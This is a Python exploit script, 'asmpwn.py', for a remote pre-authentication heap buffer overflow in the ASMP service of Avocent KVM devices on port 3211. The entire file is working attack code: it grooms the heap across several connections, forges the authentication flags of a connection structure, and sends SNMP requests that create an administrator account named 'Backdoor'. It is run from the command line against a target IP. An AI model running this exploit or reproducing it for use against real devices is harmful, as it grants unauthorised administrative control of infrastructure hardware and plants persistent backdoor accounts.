Remote pre-auth heap buffer overflow exploit for Avocent KVMs

asmpwn.py

import socket, struct, sys
p32 = lambda x: struct.pack(">I", x)
p16 = lambda x: struct.pack(">h", x)
p8  = lambda x: struct.pack(">b", x)

# ASMP heap overflow exploit creates new applianceAdmin user
def exploit(hostname, username="Backdoor", password="Backdoor"):
    global socks # python closes out of scope sockets
    port = 3211  # port is hardcoded in the binary
    usernm = username.encode()
    passwd = password.encode()
    
    print(f"[*] Exploiting ASMP on {hostname} port {port}")
    print("[*] Making connections...")

    socks = []
    for i in range(12): # make 12 conns to empty heap bins
        sock = socket.create_connection((hostname, port))
        asmp_request(sock, "version")
        socks += [sock]

    (sockA, sockB, sockC) = socks[-3:]

    payloadB = b"\xffAAA" + p32(0x29)*((0x4000-0x20)//4) + b"\r"
    asmp_request(sockB, "version", payloadB)

    # payload to enlarge conn B to fit buffer D
    payloadA = b"\xff"+b"A"*(0x4004-13)+p32(0x4011)+b"\x01\0\0\r"
    asmp_request(sockA, "version", payloadA) # enlarge B

    print("[*] Freeing B...")
    asmp_request(sockB, "logout") # free B

    print("[*] Making connection D...")

    # D's asmp_conn is allocated at B's buffer
    # and D's buffer is allocated at B's enlarged asmp_conn
    # this causes D's buffer to overlap with its own conn
    # allowing it to set the flags for logged in and authed
    sockD = socket.create_connection((hostname, port))
    asmp_request(sockD, "version")

    print("[*] Shrinking connection D...")
    # payload to shrink B (now buffer D) to original size
    payloadA2 = b"\xff"+b"A"*(0x4000-13+4)+p32(0x181)+b"\x01\0\0\r"
    asmp_request(sockA, "version", payloadA2) # shrink buffer D

    # make another connection to allocate at connD+0x180 hopefully?
    sockE = socket.create_connection((hostname, port))
    asmp_request(sockE, "version")

    # set bytes for either chunk scenario
    def set_bytes(data1, data2, index):
        for ind in (index, index + 0x48):
            data1[ind:ind+len(data2)] = list(data2)

    print("[*] Overwriting D auth flags...")
    fake_conn = [0]*0x1b8 # zero filled buffer
    set_bytes(fake_conn, p32(0x1000000), 0x0) # proto
    set_bytes(fake_conn, p32(0x82), 0x4)      # socket fd
    set_bytes(fake_conn, p32(0xae238), 0x18)  # timer?
    set_bytes(fake_conn, p32(1), 0x98)        # logged in
    set_bytes(fake_conn, p32(3), 0x160)       # access level
    set_bytes(fake_conn, p32(4), 0x164)       # preemption
    fake_conn[0x44:0x48] = list(p32(0x181))   # set chunk2 size

    add_user = [
        (1, set_oid("1.3.6.1.4.1.10418.18.2.4.10", 2, p32(2))), # addUser
        (1, set_oid("1.3.6.1.4.1.10418.18.2.4.1",  4, usernm)), # username
        (1, set_oid("1.3.6.1.4.1.10418.18.2.4.2",  4, passwd)), # password
        (1, set_oid("1.3.6.1.4.1.10418.18.2.4.4",  2, p32(3))), # access level
        (1, set_oid("1.3.6.1.4.1.10418.18.2.4.5",  2, p32(4))), # preemption
    ]
    user_len = sum(len(x[1])+3 for x in add_user)
    payloadD = b"\xff"+b"A"*(0x178-user_len-13+4)+p32(0x49)+bytes(fake_conn)
    asmp_request(sockD, "snmp", add_user, payloadD+b"\r", 2, False)
    print(f"[+] Created new user [ {username} : {password} ]")

    for sock in socks[:6]:
        asmp_request(sock, "logout") # logging out of some socks

    return (username, password)

# only list types we use
req_types = {
    "login": [1],
    "logout": [2],
    "snmp": [16, 17, 18, 19],
    "version": [49]
}

def asmp_request(sock, rtype, args=[], app=b"\xff\r", index=0, recv=True):
    payload = b""
    if type(args) == bytes:
        payload += args
    else:
        for i,arg in enumerate(args):
            if type(arg) == tuple:
                i = arg[0]-1
                arg = arg[1]

            payload += p8(i+1) + p16(len(arg)) + arg

        payload += app # datarec terminator

    packet = (b"\x01ASMP\0\0" +       # protocol 
        p8(req_types[rtype][index]) + # request type
        p32(len(payload)-1)+payload)  # size / payload
    
    sock.send(packet)
    if recv: return sock.recv(65536)
                
def oid_to_data(oid, stype=0x38, suffix=b"\x05\0\0"):
    data = p8(0x06) + p16(stype)  # idk
    for o in oid.split("."): data += p32(int(o)) 
    return data + suffix

def set_oid(oid, stype=2, value=b""):
    oid_data = oid_to_data(oid, 0x30, b"\0")
    return oid_data + p32(stype) + p16(len(value)) + value

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("usage: asmpwn.py <ip> [new user] [new passwd]")
        quit()
    else:
        exploit(*sys.argv[1:4])
        input("[-] Press enter to quit (main_app may crash)")